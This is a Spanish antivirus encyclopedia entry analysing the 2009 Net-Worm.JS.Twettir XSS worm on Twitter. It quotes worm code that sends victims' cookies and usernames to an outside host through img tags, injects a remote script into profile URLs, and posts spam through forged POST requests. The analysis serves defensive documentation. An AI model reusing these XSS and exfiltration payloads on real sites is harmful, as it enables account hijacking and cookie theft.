Otras versiones: .b, .c, .d, .e, .f, .g, .h
| Detección agregada |
13 abr 2009 |
| Actualización lanzada |
14 abr 2009 06:39 GMT |
| Descripción agregada |
22 abr 2009 |
Familia de gusanos XSS que se difundieron en la red social Twitter durante
abril de 2009. Para reproducirse, usan vulnerabilidades XSS. Su autor es el
norteamericano Michael “Mikeyy" Mooney, de 17 años.
El gusano utilizaba las vulnerabilidades en el software de Twitter que permitían
realizar ataques del tipo “scripting entre sitios” (XSS) y modificar
las páginas de las cuentas de los usuarios. El contagio se realizaba
al visitar una página modificada en el sitio Twitter o al seguir un enlace
contenido en un mensaje falso enviado en nombre de un usuario de Twitter. En
estas situaciones se usaba un escenario malicioso JavaScript.
Las principales funciones del gusano son tres:
- XHConn – que usa la función estándar XMLHttpRequest() de llamadas
ajax;
- Urlencode – que usa la función estándar encodeURIComponent()
para codificar URL;
- Wait – que es la que contiene las funciones maliciosasas.
Net-Worm.JS.Twettir.a usa la vulnerabilidad XSS durante el procesamiento de
la etiqueta img:
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c="
+ cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'/>");
En el script x.php se transmiten los parámetros cookies y el nombre
del usuario actual.
Después de que usuario atacado sigue el enlace malicioso, el gusano
empieza a enviar los siguientes mensajes desde su cuenta en Twitte (que también
contienen el enlace malicioso):
Dude, www.StalkDaily.com is awesome.
What's the fuss?"
Join www.StalkDaily.com everyone!"
Woooo, www.StalkDaily.com :)"
Virus!? What? www.StalkDaily.com is legit!"
Wow...www.StalkDaily.com"
"@twitter www. StalkDaily.com"
Además, de entre los datos de los mensajes se escoge uno al azar para
mostrarlo en el perfil del usuario infectado.
He aquí la parte del código del gusano donde se modifican los
parámetros del usuario mediante solicitudes POST:
var xss = urlencode('http://www.stalkdaily.com"> <script src="http://mikeyylolz.uuuq.com/x.js"></script><a
');
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST",
"authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+authtoken+"&user[url]="+ xss+"&tab=home&update=update");
En la última llamada POST, mediante el cambio del parámetro
userur[url] en la página del usuario se pone un enlace al script malicioso.
De esta manera, todos los usuarios que visiten la página de otro usuario
infectado con este script, inician la ejecución del gusano en su propio
equipo. A su vez, esto provoca un nuevo envío masivo de mensajes en su
nombre y a que el script malicioso se agregue a sus páginas.